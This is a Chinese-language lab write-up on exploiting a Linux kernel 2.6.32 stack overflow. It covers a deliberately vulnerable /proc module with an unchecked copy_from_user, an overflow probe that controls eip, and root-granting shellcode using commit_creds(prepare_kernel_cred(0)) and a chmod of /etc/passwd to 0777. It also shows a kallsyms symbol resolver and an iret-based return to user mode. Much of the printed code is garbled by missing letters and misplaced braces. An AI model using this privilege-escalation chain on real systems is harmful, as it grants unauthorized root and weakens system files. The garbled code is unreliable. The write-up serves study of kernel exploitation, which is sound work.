Linux内核漏洞有很多类型,例如内核栈溢出、slab/slub类堆溢出,数组越界导致的复写内核中的重要数据、内核信息泄漏,以及曾经火热一时的 null pointer deference空指针引用问题。本文研究的方向则是 Linux内核的栈溢出。我所研究的系统版本是 linux-kernel 2.6.32-15 + centos 6.3,内核是自己编译的。编译内核时,把 CC_STACKPROTECTOR关闭。CC_STACKPROTECTOR的功能很简单,就是 gcc的 stack canary保护(现在 Linux的 gcc默认都是打开,-fno-stack-protector选项其实就是CC_STACKPROTECTOR保护的,在函数调用时备份 gs中的一个随机值,函数 ret/iret前先检查 canary值是否被改变,如果被改变就执行内置保护函数 ___stack_chk_fail)。
为了测试我们的内核栈溢出,先写一个带有问题的模块,代码如下。
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/proc_fs.h> #include <linux/string.h> #ncude <asm/uaccess.h> #deine LENGTH 64 MOULE_LICENSE("GPL"); MODULE_AUTHOR("g0t3n"); MODULE_DESCRIPTION("stack bof Kernel Module"); static struct proc_dir_entry *gbof_proc; int gbof_write(struct file *file, const char __user *ubuf, unsigned long count, void *data) { char buf[LENGTH]; printk(KERN_INFO "gbof: called gbof_write\n") f (copy_from_user(&buf, ubuf, count)) { printk(KERN_INFO "gbof: copy_from_user error\n"); return -1; } return count; } static int __init gbof_init(void) { gbo_proc = create_proc_entry("gbof", 0666, NULL); gof_proc->write_proc = gbof_write; pintk(KERN_INFO "gbof: created /proc/gbof entry\n"); rturn 0; } static void __exit gbof_exit(void) { } if (gbof_proc) { remove_proc_entry("gbof", gbof_proc); } printk(KERN_INFO "gbof: unloading module\n"); module_init(gbof_init); module_exit(gbof_exit); ///// end
代码实现功能很简单,使用 create_proc_entry注册一个/proc/gbof文件,任何写到该文件的数据都会经过 copy_from_user复制到内核栈中。需要注意的是,Linux的内核栈只有两页,即 2*4k = 8k = 8*1024=8192 Byte,是非常小的,不如用户态那么大可以随便用。为了编译需要,我们再写个 Makefile。注意,Makefile中我用 ccflags-y关闭gcc的-fno-stack-protector选项。
参考用户层溢出的思路,内核层的溢出也是类似的三部曲。首先定位溢出点,编写内核态 ShellCode,再写出 exploit利用。由于我们这里已经有了 gbof.c的代码,很容易知道问题在于写向/proc/gbof中的数据没经校验长度就直接使用了 copy_from_user,这也是类似用户态的 strcpy/memcpy类的最基本的溢出问题了。如图 1所示。
至于定位溢出点则很简单,根据代码知道 buf的长度是 64byte,外加上 8byte和 4byte原来属于 ebp的值。由于没有 stack canary,我们可以直接用 python来猜出溢出的地址。如图 2所示。
➜stack_bof git:(master)✗ python -c 'print "\x90"*64+"A"*8 + "B"*4 + "C"*4' > /proc/gbof
很简单的就能覆盖掉内核寄存器中的 ebx/ecx/edx/esi/ebp/eip/ cr2了。最值得我们关注的eip是 0x43434343,也即是“CCCC”。真的能控制到那么多寄存器吗?我们可以把 gbof.ko丢到 ida中验证看看,如图 3所示。
很明显,在函数最后把栈中数据 mov到了上面提到的寄存器中。看到这里,是不是感觉和用户层很相似呢,我们同样能控制寄存器了。
接下来的工作就是准备 ShelleCode了,我觉得编写内核层的 ShellCode有意思的多,只要在用户态指定了相关内核函数的地址,就能在指定内核 ShellCode做任意事情。由于已经直接进入了内核态,我们的 ShellCode甚至可以实现类似 lkm backdoor之类的功能。最为通用的提权 ShellCode简单到只用 commit_creds(prepare_kernel_cred(0))就可以实现了。更有趣的,我们甚至能用 sys_chmod来编写 ShellCode。
taic void kernel_code(void) { commit_creds(prepare_kernel_cred(0)); sys_chmod("/etc/passwd", 0777); return; }
至于内核函数的地址,我们可以在/proc/kallsyms或/boot/System.map-`uname -r`中找到所有内核函数的地址,为此,我们的 exploit可以写个 find_addr函数,遍历/proc/kallsyms来查找所需的函数地址。
111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 while(readed != EOF) { char dummy; car sname[512]; readed = fscanf(fd, "%p %c %s\n", (void **)&addr, &dummy, sname); f(prepare_kernel_cred && commit_creds && sys_chmod && kernel_printk) break; else{ if(!strncmp(sname, "prepare_kernel_cred", 512)) pepare_kernel_cred = (void*)addr; f(!strncmp(sname, "commit_creds", 512)) commit_creds = (void*)addr; f(!strncmp(sname, "sys_chmod",30)) sys_chmod = (void*)addr; if(!strncmp(sname, "printk", 30)) kernel_printk = (void*)addr; }
好了,ShellCode准备好了,我们就应该把前面得到的东西都链接过来实现我们的 exploit了。由于已经能控制 eip,所以接下来的问题就是 ShellCode的放置,让 CPU执行到我们的ShellCode处并顺利退出。ShellCode的放置是个很重要的问题,我也为此纠结了很长时间,最后经过讨论才发现,在 kernel中是可以用到用户态地址的。由于是基于进程的内核态上下文,因此 copy_from_user之类的函数也能正常运行,所以可以直接把用户态地址作为我们的 ShellCode地址就可以了。同时,因为 ShellCode还是在应用程序地址空间内,没有做任何的复制拷贝操作,所以我们可以不闭忌讳\0的存在。更重要的是,由于是内核 ShellCode放在用户态,我们能用 C随便写,不像用户层溢出那样需要写成 asm,感觉一下跳跃了一大步。
最后的问题是 ShellCode执行后如何返回用户态。关于这方面的知识,我们可以参考Linux中断上下文的切换。Linux下的 int 0x80使用户态能进入内核态执行 sys_call。根据网上的介绍,int执行的实质其实是如下的过程:
1.int指令发生了不同优先级间的控制转移,所以首先从 TSS(任务状态段)中获取高优先级的核心堆栈信息(SS和 ESP);
2.把低优先级堆栈信息(SS和 ESP)保留到高优先级堆栈(即核心栈)中;
3.把 EFLAGS,外层 CS、EIP推入高优先级堆栈(核心栈)中;
4.通过 IDT加载 CS、EIP(控制转移至中断处理函数)。
因此,从内核态返回用户态只需要把相关的用户态寄存器恢复后调用 iret,引起一次任务切换就 OK了。我们可以构造一个 fake_frame来存放用户层的一系列寄存器值,进入内核态前先调用 setup_ff备份下相关寄存器,在退出内核态时恢复用户态寄存器。
stuct fae_frame { id *eip; // shell() // %cs uint32_t cs; uint32_t eflags; void *esp; // eflags // %esp // %ss uint32_t ss; } __attribute__((packed)); void setup_ff(void) { //用于备份一系列寄存器 asm("pushl %cs; popl ff+4;" "pushfl; popl ff+8;" "pushl %esp; popl ff+12;" "pshl %ss; popl ff+16;"); f.ep = &shell; f.esp -= 1024; // unused part of stack } 这个 exploit最后的工作就是返回用户态。 #define KERLL __attribute__((regparm(3))) int KERNCALL kernelcode(){ kernel_printk(" !!! in kernelcode !!!\n"); commit_creds(prepare_kernel_cred(0)); __asm volatile ("mov $ff, %esp;" "iret;"); }
我们能根据用户层溢出的不少经验来学习内核层的溢出,但内核层溢出与应用层还是有很大不同的。首先,用户层溢出大不了就是段错误,内核层溢出一不小心就会崩溃。而且,在用户层我们有各种强大的调试工具,遇到各种问题后容易重现,而内核层天生就没有很好的调试工具,经常会因为出现 oop而不知道内存中到底发生了什么事而焦头烂额。因此,编写内核态的 exploit就需要格外的小心。最后把我们之前写的代码都整合下看看效果,如图 4所示.
成功得到 Root了,完整代码可以通过附件得到。欢迎各位有兴趣研究 Linux内核问题的读者共同交流。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。